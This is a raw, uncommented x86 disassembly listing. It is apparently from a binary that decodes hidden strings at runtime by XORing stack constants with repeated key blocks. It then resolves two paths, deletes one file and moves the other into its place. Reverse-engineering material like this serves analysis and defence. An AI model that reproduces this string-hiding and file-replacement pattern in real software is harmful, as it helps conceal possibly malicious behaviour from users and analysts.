mov dword [ebp - 0x20a0], 0xe41ced40
mov dword [ebp - 0x209c], 0xf2794142
mov dword [ebp - 0x12d0], 0x82b31c1
mov dword [ebp - 0x12cc], 0xd209d0fe
mov dword [ebp - 0x2098], 0x82b31c1
mov dword [ebp - 0x2094], 0xd209d0fe
mov dword [ebp - 0x12c8], 0x4ace0821
mov dword [ebp - 0x12c4], 0xe7d8167e
mov dword [ebp - 0x2090], 0x4ace0821
mov dword [ebp - 0x208c], 0xe7d8167e
mov dword [ebp - 0x12c0], 0x24139a63
mov dword [ebp - 0x12bc], 0x20067672
mov dword [ebp - 0x2088], 0x24139a63
lea eax, [ebp - 0x2068]
mov dword [ebp - 0x2084], 0x20067672
push eax
lea eax, [ebp - 0x20a8]
mov dword [ebp - 0x12b8], 0x30ae4876
push eax
lea ecx, [ebp - 0x3370]
mov dword [ebp - 0x12b4], 0x93d23cf8
mov dword [ebp - 0x2080], 0x30ae4876
mov dword [ebp - 0x207c], 0x93d23cf8
mov dword [ebp - 0x12b0], 0x899ae87f
mov dword [ebp - 0x12ac], 0x6c61c23d
mov dword [ebp - 0x2078], 0x899ae87f
mov dword [ebp - 0x2074], 0x6c61c23d
mov dword [ebp - 0x12a8], 0xe47b7d46
mov dword [ebp - 0x12a4], 0x27e39bbd
mov dword [ebp - 0x2070], 0xe47b7d46
mov dword [ebp - 0x206c], 0x27e39bbd
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0x12e0]
lea eax, [ebp - 0x12e0]
pxor xmm1, xmmword [ebp - 0x8b0]
movaps xmmword [ebp - 0x12e0], xmm1
movaps xmm1, xmmword [ebp - 0x8a0]
pxor xmm1, xmmword [ebp - 0x12d0]
movaps xmmword [ebp - 0x12d0], xmm1
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x12c0]
movaps xmmword [ebp - 0x12c0], xmm1
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x12b0]
push esi
push eax
movaps xmmword [ebp - 0x12b0], xmm1
call fcn.0044b300
add esp, 8
mov dword [ebp - 0x2d90], 0xdd07cf8f
lea eax, [ebp - 0x2d80]
mov dword [ebp - 0x2d8c], 0xc56a86ab
lea ecx, [ebp - 0x3368]
mov dword [ebp - 0x2d88], 0x877f8260
mov dword [ebp - 0x2d84], 0x961c3337
push eax
lea eax, [ebp - 0x2d90]
push eax
call fcn.0045f460
lea eax, [ebp - 0x2d90]
mov dword [ebp - 0x850], 0x8e528edf
push eax
lea eax, [ebp - 0x2da0]
mov dword [ebp - 0x84c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x3360]
mov dword [ebp - 0x2da0], 0x8e528edf
mov dword [ebp - 0x2d9c], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
mov dword [ebp - 0x2d98], 0x877f8260
mov dword [ebp - 0x2d94], 0x961c3337
call fcn.0045f460
lea eax, [ebp - 0x2da0]
mov dword [ebp - 0xba0], 0xdd07cf8f
push eax
lea eax, [ebp - 0x2db0]
mov dword [ebp - 0xb9c], 0xc56a86ab
push eax
lea ecx, [ebp - 0x3358]
mov dword [ebp - 0x2db0], 0xdd07cf8f
mov dword [ebp - 0x2dac], 0xc56a86ab
mov dword [ebp - 0xb98], 0x877f8260
mov dword [ebp - 0xb94], 0x961c3337
mov dword [ebp - 0x2da8], 0x877f8260
mov dword [ebp - 0x2da4], 0x961c3337
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0xba0]
lea eax, [ebp - 0xba0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xba0], xmm1
call fcn.005d657d
add esp, 4
jmp 0x45d04e
lea eax, [ebp - 0x638]
push eax
lea ecx, [ebp - 0x2270]
call fcn.0045e170
lea ecx, [ebp - 0x2270]
mov byte [ebp - 4], 0x12
call fcn.0044da70
lea ecx, [ebp - 0x2270]
mov dword [0x67f6e4], eax
call fcn.0045e110
lea ecx, [ebp - 0x8e8]
call fcn.0045e3b0
sub esp, 0x18
mov dword [ebp - 0x2b3c], eax
mov edi, esp
mov dword [ebp - 0x2b44], esp
mov dword [ebp - 0x2b48], edi
mov ecx, edi
push dword [ebp - 0x2b44]
call fcn.004611e0
mov byte [ebp - 4], 0x13
mov edx, dword [ebp - 0x2b3c]
mov ecx, edx
lea eax, [ecx + 1]
mov dword [ebp - 0x2b3c], eax
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x457ca0
sub ecx, dword [ebp - 0x2b3c]
push ecx
push edx
mov ecx, edi
call fcn.00461200
sub esp, 0x18
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0x978]
mov ecx, esp
push eax
call fcn.0045e700
mov byte [ebp - 4], 5
call fcn.0044dbb0
mov edi, eax
add esp, 0x30
cmp edi, 0x1a0a
jne 0x458047
mov dword [ebp - 0x1210], 0x9263282
lea eax, [ebp - 0x1220]
mov dword [ebp - 0x120c], 0xdf1bd0bc
mov dword [ebp - 0x1208], 0x41d40227
mov dword [ebp - 0x1204], 0xf3dd4339
mov dword [ebp - 0x1200], 0x483aaa22
mov dword [ebp - 0x11fc], 0x3e433126
mov dword [ebp - 0x11f8], 0x75a85465
mov dword [ebp - 0x11f4], 0x9a9627e8
mov dword [ebp - 0x11f0], 0x88dba92a
mov dword [ebp - 0x11ec], 0x917e866
mov dword [ebp - 0x11e8], 0x8b120e34
mov dword [ebp - 0x11e4], 0x27e9b5d3
mov dword [ebp - 0x1220], 0xae25eb91
mov dword [ebp - 0x121c], 0xb618e398
mov dword [ebp - 0x1218], 0xa711ed09
mov dword [ebp - 0x1214], 0xf3685653
movaps xmm1, xmmword [ebp - 0x1220]
mov dword [ebp - 0x8b0], 0x8e528edf
mov dword [ebp - 0x8ac], 0xc56a86ee
mov dword [ebp - 0x8a8], 0x877f8260
mov dword [ebp - 0x8a4], 0x961c3337
pxor xmm1, xmmword [ebp - 0x8b0]
movaps xmmword [ebp - 0x1220], xmm1
mov dword [ebp - 0x8a0], 0x6d4346e1
mov dword [ebp - 0x89c], 0xb36bf090
mov dword [ebp - 0x898], 0x24a76342
mov dword [ebp - 0x894], 0x97ad3619
movaps xmm1, xmmword [ebp - 0x8a0]
pxor xmm1, xmmword [ebp - 0x1210]
movaps xmmword [ebp - 0x1210], xmm1
mov dword [ebp - 0x890], 0x685fde43
mov dword [ebp - 0x88c], 0x52635e52
mov dword [ebp - 0x888], 0x10dc2704
mov dword [ebp - 0x884], 0xf6b6539b
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x1200]
movaps xmmword [ebp - 0x1200], xmm1
mov dword [ebp - 0x880], 0xedbfc845
mov dword [ebp - 0x87c], 0x6c61c814
mov dword [ebp - 0x878], 0xe47b7d46
mov dword [ebp - 0x874], 0x27e39bbd
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x11f0]
push eax
movaps xmmword [ebp - 0x11f0], xmm1
call fcn.0044b300
mov dword [ebp - 0x1170], 0x57333295
add esp, 4
mov dword [ebp - 0x116c], 0xdd1ddfbf
mov dword [ebp - 0x1168], 0xadf022a
mov dword [ebp - 0x1164], 0xb8c0597a
mov dword [ebp - 0x1160], 0xc3eb12f
mov dword [ebp - 0x115c], 0x3c4e2c37
mov dword [ebp - 0x1158], 0x10d65061
mov dword [ebp - 0x1154], 0xf6b6539b
mov dword [ebp - 0x1180], 0xe025e19b
mov dword [ebp - 0x117c], 0xa10be982
mov dword [ebp - 0x1178], 0xe916ee40
mov dword [ebp - 0x1174], 0xfe3c095c
movaps xmm1, xmmword [ebp - 0x1180]
mov dword [ebp - 0x8a0], 0x8e528edf
mov dword [ebp - 0x89c], 0xc56a86ee
mov dword [ebp - 0x898], 0x877f8260
mov dword [ebp - 0x894], 0x961c3337
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1180], xmm1
mov dword [ebp - 0x890], 0x6d4346e1
mov dword [ebp - 0x88c], 0xb36bf090
mov dword [ebp - 0x888], 0x24a76342
mov dword [ebp - 0x884], 0x97ad3619
movaps xmm1, xmmword [ebp - 0x890]
pxor xmm1, xmmword [ebp - 0x1170]
mov dword [ebp - 0x880], 0x685fde43
mov dword [ebp - 0x87c], 0x52635e52
mov dword [ebp - 0x878], 0x10dc2704
mov dword [ebp - 0x874], 0xf6b6539b
movaps xmmword [ebp - 0x1170], xmm1
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x1160]
movaps xmmword [ebp - 0x1160], xmm1
lea eax, [ebp - 0x1180]
push eax
call fcn.0044b300
mov dword [ebp - 0xbb0], 0xdd07cf8f
lea eax, [ebp - 0xbb0]
mov dword [ebp - 0xbac], 0xc56a86ab
add esp, 4
mov dword [ebp - 0xba8], 0x877f8260
mov dword [ebp - 0xba4], 0x961c3337
mov dword [ebp - 0x850], 0x8e528edf
mov dword [ebp - 0x84c], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xbb0]
push eax
movaps xmmword [ebp - 0xbb0], xmm1
call fcn.005d657d
add esp, 4
jmp 0x4576af
cmp edi, 0x100000
jae 0x4583a7
lea eax, [ebp - 0x1648]
mov dword [ebp - 0x1668], 0xae0fa484
push eax
lea eax, [ebp - 0x1668]
mov dword [ebp - 0x1664], 0xa41ce8a7
push eax
lea ecx, [ebp - 0x3350]
mov dword [ebp - 0x1660], 0xa71beb0c
mov dword [ebp - 0x165c], 0xf3665a44
mov dword [ebp - 0x1658], 0x96666db
mov dword [ebp - 0x1654], 0xb36bf09a
mov dword [ebp - 0x1650], 0x24a76342
mov dword [ebp - 0x164c], 0x97ad3619
call fcn.0045f460
lea eax, [ebp - 0x1628]
mov dword [ebp - 0x860], 0x8e528edf
push eax
lea eax, [ebp - 0x1648]
mov dword [ebp - 0x85c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x3348]
mov dword [ebp - 0x1648], 0x8e528edf
mov dword [ebp - 0x1644], 0xc56a86ee
mov dword [ebp - 0x858], 0x877f8260
mov dword [ebp - 0x854], 0x961c3337
mov dword [ebp - 0x1640], 0x877f8260
mov dword [ebp - 0x163c], 0x961c3337
mov dword [ebp - 0x850], 0x6d4346e1
mov dword [ebp - 0x84c], 0xb36bf090
mov dword [ebp - 0x1638], 0x6d4346e1
mov dword [ebp - 0x1634], 0xb36bf090
mov dword [ebp - 0x848], 0x24a76342
mov dword [ebp - 0x844], 0x97ad3619
mov dword [ebp - 0x1630], 0x24a76342
mov dword [ebp - 0x162c], 0x97ad3619
call fcn.0045f460
lea eax, [ebp - 0x1608]
mov dword [ebp - 0xeb0], 0xae0fa484
push eax
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xeac], 0xa41ce8a7
push eax
lea ecx, [ebp - 0x3340]
mov dword [ebp - 0x1628], 0xae0fa484
mov dword [ebp - 0x1624], 0xa41ce8a7
mov dword [ebp - 0xea8], 0xa71beb0c
mov dword [ebp - 0xea4], 0xf3665a44
mov dword [ebp - 0x1620], 0xa71beb0c
mov dword [ebp - 0x161c], 0xf3665a44
mov dword [ebp - 0xea0], 0x96666db
mov dword [ebp - 0xe9c], 0xb36bf09a
mov dword [ebp - 0x1618], 0x96666db
mov dword [ebp - 0x1614], 0xb36bf09a
mov dword [ebp - 0xe98], 0x24a76342
mov dword [ebp - 0xe94], 0x97ad3619
mov dword [ebp - 0x1610], 0x24a76342
mov dword [ebp - 0x160c], 0x97ad3619
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0xeb0]
lea eax, [ebp - 0xeb0]
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xeb0], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xea0]
push edi
push eax
movaps xmmword [ebp - 0xea0], xmm1
call fcn.0044b300
add esp, 8
mov dword [ebp - 0x2dc0], 0xdd07cf8f
lea eax, [ebp - 0x2db0]
mov dword [ebp - 0x2dbc], 0xc56a86ab
lea ecx, [ebp - 0x3338]
mov dword [ebp - 0x2db8], 0x877f8260
mov dword [ebp - 0x2db4], 0x961c3337
push eax
lea eax, [ebp - 0x2dc0]
push eax
call fcn.0045f460
mov dword [ebp - 0x850], 0x8e528edf
mov dword [ebp - 0x84c], 0xc56a86ee
lea eax, [ebp - 0x2dc0]
mov dword [ebp - 0x2dd0], 0x8e528edf
push eax
lea eax, [ebp - 0x2dd0]
mov dword [ebp - 0x2dcc], 0xc56a86ee
push eax
lea ecx, [ebp - 0x3330]
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
mov dword [ebp - 0x2dc8], 0x877f8260
mov dword [ebp - 0x2dc4], 0x961c3337
call fcn.0045f460
lea eax, [ebp - 0x2dd0]
mov dword [ebp - 0xbc0], 0xdd07cf8f
push eax
lea eax, [ebp - 0x2de0]
mov dword [ebp - 0xbbc], 0xc56a86ab
push eax
lea ecx, [ebp - 0x3328]
mov dword [ebp - 0x2de0], 0xdd07cf8f
mov dword [ebp - 0x2ddc], 0xc56a86ab
mov dword [ebp - 0xbb8], 0x877f8260
mov dword [ebp - 0xbb4], 0x961c3337
mov dword [ebp - 0x2dd8], 0x877f8260
mov dword [ebp - 0x2dd4], 0x961c3337
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0xbc0]
lea eax, [ebp - 0xbc0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xbc0], xmm1
call fcn.005d657d
add esp, 4
jmp 0x45d04e
cmp edi, dword [0x67f6e4]
jne 0x4585d5
lea eax, [ebp - 0x15e8]
mov dword [ebp - 0x1608], 0xae0fa484
push eax
lea eax, [ebp - 0x1608]
mov dword [ebp - 0x1604], 0xab1de9aa
push eax
lea ecx, [ebp - 0x3318]
mov dword [ebp - 0x1600], 0xe31eed0c
mov dword [ebp - 0x15fc], 0xff774017
mov dword [ebp - 0x15f8], 0x9263691
mov dword [ebp - 0x15f4], 0xb36bf09a
mov dword [ebp - 0x15f0], 0x24a76342
mov dword [ebp - 0x15ec], 0x97ad3619
call fcn.0045f460
lea eax, [ebp - 0x15c8]
mov dword [ebp - 0x860], 0x8e528edf
push eax
lea eax, [ebp - 0x15e8]
mov dword [ebp - 0x85c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x3310]
mov dword [ebp - 0x15e8], 0x8e528edf
mov dword [ebp - 0x15e4], 0xc56a86ee
mov dword [ebp - 0x858], 0x877f8260
mov dword [ebp - 0x854], 0x961c3337
mov dword [ebp - 0x15e0], 0x877f8260
mov dword [ebp - 0x15dc], 0x961c3337
mov dword [ebp - 0x850], 0x6d4346e1
mov dword [ebp - 0x84c], 0xb36bf090
mov dword [ebp - 0x15d8], 0x6d4346e1
mov dword [ebp - 0x15d4], 0xb36bf090
mov dword [ebp - 0x848], 0x24a76342
mov dword [ebp - 0x844], 0x97ad3619
mov dword [ebp - 0x15d0], 0x24a76342
mov dword [ebp - 0x15cc], 0x97ad3619
call fcn.0045f460
lea eax, [ebp - 0x15a8]
mov dword [ebp - 0xed0], 0xae0fa484
push eax
lea eax, [ebp - 0x15c8]
mov dword [ebp - 0xecc], 0xab1de9aa
push eax
lea ecx, [ebp - 0x3308]
mov dword [ebp - 0x15c8], 0xae0fa484
mov dword [ebp - 0x15c4], 0xab1de9aa
mov dword [ebp - 0xec8], 0xe31eed0c
mov dword [ebp - 0xec4], 0xff774017
mov dword [ebp - 0x15c0], 0xe31eed0c
mov dword [ebp - 0x15bc], 0xff774017
mov dword [ebp - 0xec0], 0x9263691
mov dword [ebp - 0xebc], 0xb36bf09a
mov dword [ebp - 0x15b8], 0x9263691
mov dword [ebp - 0x15b4], 0xb36bf09a
mov dword [ebp - 0xeb8], 0x24a76342
mov dword [ebp - 0xeb4], 0x97ad3619
mov dword [ebp - 0x15b0], 0x24a76342
mov dword [ebp - 0x15ac], 0x97ad3619
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0x860]
lea eax, [ebp - 0xed0]
pxor xmm1, xmmword [ebp - 0xed0]
movaps xmmword [ebp - 0xed0], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xec0]
push eax
movaps xmmword [ebp - 0xec0], xmm1
call fcn.0044b300
add esp, 4
mov byte [0x67f6d9], 1
jmp 0x458983
lea eax, [ebp - 0x2de0]
mov dword [ebp - 0x2df0], 0xe025e19b
push eax
lea eax, [ebp - 0x2df0]
mov dword [ebp - 0x2dec], 0xa10be982
push eax
lea ecx, [ebp - 0x3300]
mov dword [ebp - 0x2de8], 0xbd18ec09
mov dword [ebp - 0x2de4], 0x961c333d
call fcn.0045f460
lea eax, [ebp - 0x2df0]
mov dword [ebp - 0x850], 0x8e528edf
push eax
lea eax, [ebp - 0x2e00]
mov dword [ebp - 0x84c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x32f8]
mov dword [ebp - 0x2e00], 0x8e528edf
mov dword [ebp - 0x2dfc], 0xc56a86ee
mov dword [ebp - 0x848], 0x877f8260
mov dword [ebp - 0x844], 0x961c3337
mov dword [ebp - 0x2df8], 0x877f8260
mov dword [ebp - 0x2df4], 0x961c3337
call fcn.0045f460
lea eax, [ebp - 0x2e00]
mov dword [ebp - 0xbd0], 0xe025e19b
push eax
lea eax, [ebp - 0x2e10]
mov dword [ebp - 0xbcc], 0xa10be982
push eax
lea ecx, [ebp - 0x32f0]
mov dword [ebp - 0x2e10], 0xe025e19b
mov dword [ebp - 0x2e0c], 0xa10be982
mov dword [ebp - 0xbc8], 0xbd18ec09
mov dword [ebp - 0xbc4], 0x961c333d
mov dword [ebp - 0x2e08], 0xbd18ec09
mov dword [ebp - 0x2e04], 0x961c333d
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0xbd0]
lea eax, [ebp - 0xbd0]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xbd0], xmm1
call fcn.0044b300
add esp, 4
mov dword [ebp - 0x15a8], 0x8e3d8e9c
lea eax, [ebp - 0x1588]
mov dword [ebp - 0x15a4], 0xc5198680
lea ecx, [ebp - 0x32e8]
mov dword [ebp - 0x15a0], 0x870d8214
mov dword [ebp - 0x159c], 0x967f3342
push eax
lea eax, [ebp - 0x15a8]
mov dword [ebp - 0x1598], 0x6d2c4695
push eax
mov dword [ebp - 0x1594], 0xb345f0e2
mov dword [ebp - 0x1590], 0x24cb6326
mov dword [ebp - 0x158c], 0x97ad3675
call fcn.0045f460
lea eax, [ebp - 0x1568]
mov dword [ebp - 0x860], 0x8e528edf
push eax
lea eax, [ebp - 0x1588]
mov dword [ebp - 0x85c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x32e0]
mov dword [ebp - 0x1588], 0x8e528edf
mov dword [ebp - 0x1584], 0xc56a86ee
mov dword [ebp - 0x858], 0x877f8260
mov dword [ebp - 0x854], 0x961c3337
mov dword [ebp - 0x1580], 0x877f8260
mov dword [ebp - 0x157c], 0x961c3337
mov dword [ebp - 0x850], 0x6d4346e1
mov dword [ebp - 0x84c], 0xb36bf090
mov dword [ebp - 0x1578], 0x6d4346e1
mov dword [ebp - 0x1574], 0xb36bf090
mov dword [ebp - 0x848], 0x24a76342
mov dword [ebp - 0x844], 0x97ad3619
mov dword [ebp - 0x1570], 0x24a76342
mov dword [ebp - 0x156c], 0x97ad3619
call fcn.0045f460
lea eax, [ebp - 0x1548]
mov dword [ebp - 0xef0], 0x8e3d8e9c
push eax
lea eax, [ebp - 0x1568]
mov dword [ebp - 0xeec], 0xc5198680
push eax
lea ecx, [ebp - 0x32d8]
mov dword [ebp - 0x1568], 0x8e3d8e9c
mov dword [ebp - 0x1564], 0xc5198680
mov dword [ebp - 0xee8], 0x870d8214
mov dword [ebp - 0xee4], 0x967f3342
mov dword [ebp - 0x1560], 0x870d8214
mov dword [ebp - 0x155c], 0x967f3342
mov dword [ebp - 0xee0], 0x6d2c4695
mov dword [ebp - 0xedc], 0xb345f0e2
mov dword [ebp - 0x1558], 0x6d2c4695
mov dword [ebp - 0x1554], 0xb345f0e2
mov dword [ebp - 0xed8], 0x24cb6326
mov dword [ebp - 0xed4], 0x97ad3675
mov dword [ebp - 0x1550], 0x24cb6326
mov dword [ebp - 0x154c], 0x97ad3675
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0xef0]
lea eax, [ebp - 0xef0]
pxor xmm1, xmmword [ebp - 0x860]
sub esp, 0x18
movaps xmmword [ebp - 0xef0], xmm1
mov ecx, esp
movaps xmm1, xmmword [ebp - 0xee0]
pxor xmm1, xmmword [ebp - 0x850]
mov dword [ebp - 0x2b44], esp
push eax
movaps xmmword [ebp - 0xee0], xmm1
call fcn.0045e170
sub esp, 0x18
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x8e8]
mov dword [ebp - 0x2b3c], esp
mov esi, esp
call fcn.0045e3b0
push eax
mov ecx, esi
call fcn.0045e6c0
sub esp, 0x18
mov byte [ebp - 4], 0x16
lea eax, [ebp - 0x978]
mov ecx, esp
push eax
call fcn.0045e700
mov ecx, edi
mov byte [ebp - 4], 5
call fcn.00453a30
add esp, 0x48
cmp byte [0x67f6d9], 0
je 0x4593e0
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x1da8]
mov dword [ebp - 0x1dd8], 0x8e3d8e9c
push eax
lea eax, [ebp - 0x1dd8]
mov dword [ebp - 0x1dd4], 0xc5198680
push eax
lea ecx, [ebp - 0x32d0]
mov dword [ebp - 0x1dd0], 0x870d8214
mov dword [ebp - 0x1dcc], 0x967f3342
mov dword [ebp - 0x1dc8], 0x6d2c4695
mov dword [ebp - 0x1dc4], 0xb345f0e2
mov dword [ebp - 0x1dc0], 0x24cb6326
mov dword [ebp - 0x1dbc], 0x97833675
mov dword [ebp - 0x1db8], 0x683ede21
mov dword [ebp - 0x1db4], 0x52635e39
mov dword [ebp - 0x1db0], 0x10dc2704
mov dword [ebp - 0x1dac], 0xf6b6539b
call fcn.0045f460
lea eax, [ebp - 0x1dd8]
mov dword [ebp - 0x8a0], 0x8e528edf
push eax
lea eax, [ebp - 0x1e08]
mov dword [ebp - 0x89c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x32c8]
mov dword [ebp - 0x1e08], 0x8e528edf
mov dword [ebp - 0x1e04], 0xc56a86ee
mov dword [ebp - 0x898], 0x877f8260
mov dword [ebp - 0x894], 0x961c3337
mov dword [ebp - 0x1e00], 0x877f8260
mov dword [ebp - 0x1dfc], 0x961c3337
mov dword [ebp - 0x890], 0x6d4346e1
mov dword [ebp - 0x88c], 0xb36bf090
mov dword [ebp - 0x1df8], 0x6d4346e1
mov dword [ebp - 0x1df4], 0xb36bf090
mov dword [ebp - 0x888], 0x24a76342
mov dword [ebp - 0x884], 0x97ad3619
mov dword [ebp - 0x1df0], 0x24a76342
mov dword [ebp - 0x1dec], 0x97ad3619
mov dword [ebp - 0x880], 0x685fde43
mov dword [ebp - 0x87c], 0x52635e52
mov dword [ebp - 0x1de8], 0x685fde43
mov dword [ebp - 0x1de4], 0x52635e52
mov dword [ebp - 0x878], 0x10dc2704
mov dword [ebp - 0x874], 0xf6b6539b
mov dword [ebp - 0x1de0], 0x10dc2704
mov dword [ebp - 0x1ddc], 0xf6b6539b
call fcn.0045f460
lea eax, [ebp - 0x1e08]
mov dword [ebp - 0x1150], 0x8e3d8e9c
push eax
lea eax, [ebp - 0x1e38]
mov dword [ebp - 0x114c], 0xc5198680
push eax
lea ecx, [ebp - 0x32c0]
mov dword [ebp - 0x1e38], 0x8e3d8e9c
mov dword [ebp - 0x1e34], 0xc5198680
mov dword [ebp - 0x1148], 0x870d8214
mov dword [ebp - 0x1144], 0x967f3342
mov dword [ebp - 0x1e30], 0x870d8214
mov dword [ebp - 0x1e2c], 0x967f3342
mov dword [ebp - 0x1140], 0x6d2c4695
mov dword [ebp - 0x113c], 0xb345f0e2
mov dword [ebp - 0x1e28], 0x6d2c4695
mov dword [ebp - 0x1e24], 0xb345f0e2
mov dword [ebp - 0x1138], 0x24cb6326
mov dword [ebp - 0x1134], 0x97833675
mov dword [ebp - 0x1e20], 0x24cb6326
mov dword [ebp - 0x1e1c], 0x97833675
mov dword [ebp - 0x1130], 0x683ede21
mov dword [ebp - 0x112c], 0x52635e39
mov dword [ebp - 0x1e18], 0x683ede21
mov dword [ebp - 0x1e14], 0x52635e39
mov dword [ebp - 0x1128], 0x10dc2704
mov dword [ebp - 0x1124], 0xf6b6539b
mov dword [ebp - 0x1e10], 0x10dc2704
mov dword [ebp - 0x1e0c], 0xf6b6539b
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0x1150]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1150], xmm1
movaps xmm1, xmmword [ebp - 0x890]
lea eax, [ebp - 0x228]
pxor xmm1, xmmword [ebp - 0x1140]
mov edi, dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push 0
push eax
movaps xmmword [ebp - 0x1140], xmm1
lea eax, [ebp - 0x1150]
movaps xmm1, xmmword [ebp - 0x880]
pxor xmm1, xmmword [ebp - 0x1130]
push 0x104
push eax
movaps xmmword [ebp - 0x1130], xmm1
call edi
lea eax, [ebp - 0x1528]
mov dword [ebp - 0x1548], 0x8e3d8e9c
push eax
lea eax, [ebp - 0x1548]
mov dword [ebp - 0x1544], 0xc5198680
push eax
lea ecx, [ebp - 0x32b8]
mov dword [ebp - 0x1540], 0x870d8214
mov dword [ebp - 0x153c], 0x967f3342
mov dword [ebp - 0x1538], 0x6d2c4695
mov dword [ebp - 0x1534], 0xb345f0e2
mov dword [ebp - 0x1530], 0x24cb6326
mov dword [ebp - 0x152c], 0x97ad3675
call fcn.0045f460
lea eax, [ebp - 0x1508]
mov dword [ebp - 0x860], 0x8e528edf
push eax
lea eax, [ebp - 0x1528]
mov dword [ebp - 0x85c], 0xc56a86ee
push eax
lea ecx, [ebp - 0x32b0]
mov dword [ebp - 0x1528], 0x8e528edf
mov dword [ebp - 0x1524], 0xc56a86ee
mov dword [ebp - 0x858], 0x877f8260
mov dword [ebp - 0x854], 0x961c3337
mov dword [ebp - 0x1520], 0x877f8260
mov dword [ebp - 0x151c], 0x961c3337
mov dword [ebp - 0x850], 0x6d4346e1
mov dword [ebp - 0x84c], 0xb36bf090
mov dword [ebp - 0x1518], 0x6d4346e1
mov dword [ebp - 0x1514], 0xb36bf090
mov dword [ebp - 0x848], 0x24a76342
mov dword [ebp - 0x844], 0x97ad3619
mov dword [ebp - 0x1510], 0x24a76342
mov dword [ebp - 0x150c], 0x97ad3619
call fcn.0045f460
lea eax, [ebp - 0x14e8]
mov dword [ebp - 0xf10], 0x8e3d8e9c
push eax
lea eax, [ebp - 0x1508]
mov dword [ebp - 0xf0c], 0xc5198680
push eax
lea ecx, [ebp - 0x32a8]
mov dword [ebp - 0x1508], 0x8e3d8e9c
mov dword [ebp - 0x1504], 0xc5198680
mov dword [ebp - 0xf08], 0x870d8214
mov dword [ebp - 0xf04], 0x967f3342
mov dword [ebp - 0x1500], 0x870d8214
mov dword [ebp - 0x14fc], 0x967f3342
mov dword [ebp - 0xf00], 0x6d2c4695
mov dword [ebp - 0xefc], 0xb345f0e2
mov dword [ebp - 0x14f8], 0x6d2c4695
mov dword [ebp - 0x14f4], 0xb345f0e2
mov dword [ebp - 0xef8], 0x24cb6326
mov dword [ebp - 0xef4], 0x97ad3675
mov dword [ebp - 0x14f0], 0x24cb6326
mov dword [ebp - 0x14ec], 0x97ad3675
call fcn.0045f460
movaps xmm1, xmmword [ebp - 0xf10]
lea eax, [ebp - 0x638]
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xf10], xmm1
movaps xmm1, xmmword [ebp - 0x850]
pxor xmm1, xmmword [ebp - 0xf00]
push 0
movaps xmmword [ebp - 0xf00], xmm1
push eax
push 0x104
lea eax, [ebp - 0xf10]
push eax
call edi
lea eax, [ebp - 0x638]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x638]
push eax
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x4593e6
call esi
mov esi, eax
mov dword [ebp - 0x20e8], 0xeb72e09e
lea eax, [ebp - 0x20a8]
mov dword [ebp - 0x20e4], 0xb705f49c
push eax
lea eax, [ebp - 0x20e8]
mov dword [ebp - 0x20e0], 0xf41ef540
push eax
lea ecx, [ebp - 0x32a0]
mov dword [ebp - 0x20dc], 0xf57f5c17
mov dword [ebp - 0x20d8], 0x9263494
mov dword [ebp - 0x20d4], 0xd60387b0
mov dword [ebp - 0x20d0], 0x41d5432c
mov dword [ebp - 0x20cc], 0xe5c2426a
mov dword [ebp - 0x20c8], 0x4838b02a
mov dword [ebp - 0x20c4], 0x722f1216
mov dword [ebp - 0x20c0], 0x62ae422c
mov dword [ebp - 0x20bc], 0x959621f4
mov dword [ebp - 0x20b8], 0xd7daac2a
mov dword [ebp - 0x20b4], 0x4505ed34
mov dword [ebp - 0x20b0], 0xe47b7d4c
mov dword [ebp - 0x20ac], 0x27e39bbd
call fcn.0045f460
lea eax, [ebp - 0x20e8]
mov dword [ebp - 0x8b0], 0x8e528edf
push eax
lea eax, [ebp - 0x2128]
mov dword [ebp - 0x8ac], 0xc56a86ee
push eax
lea ecx, [ebp - 0x3298]
mov dword [ebp - 0x2128], 0x8e528edf
mov dword [ebp - 0x2124], 0xc56a86ee
mov dword [ebp - 0x8a8], 0x877f8260
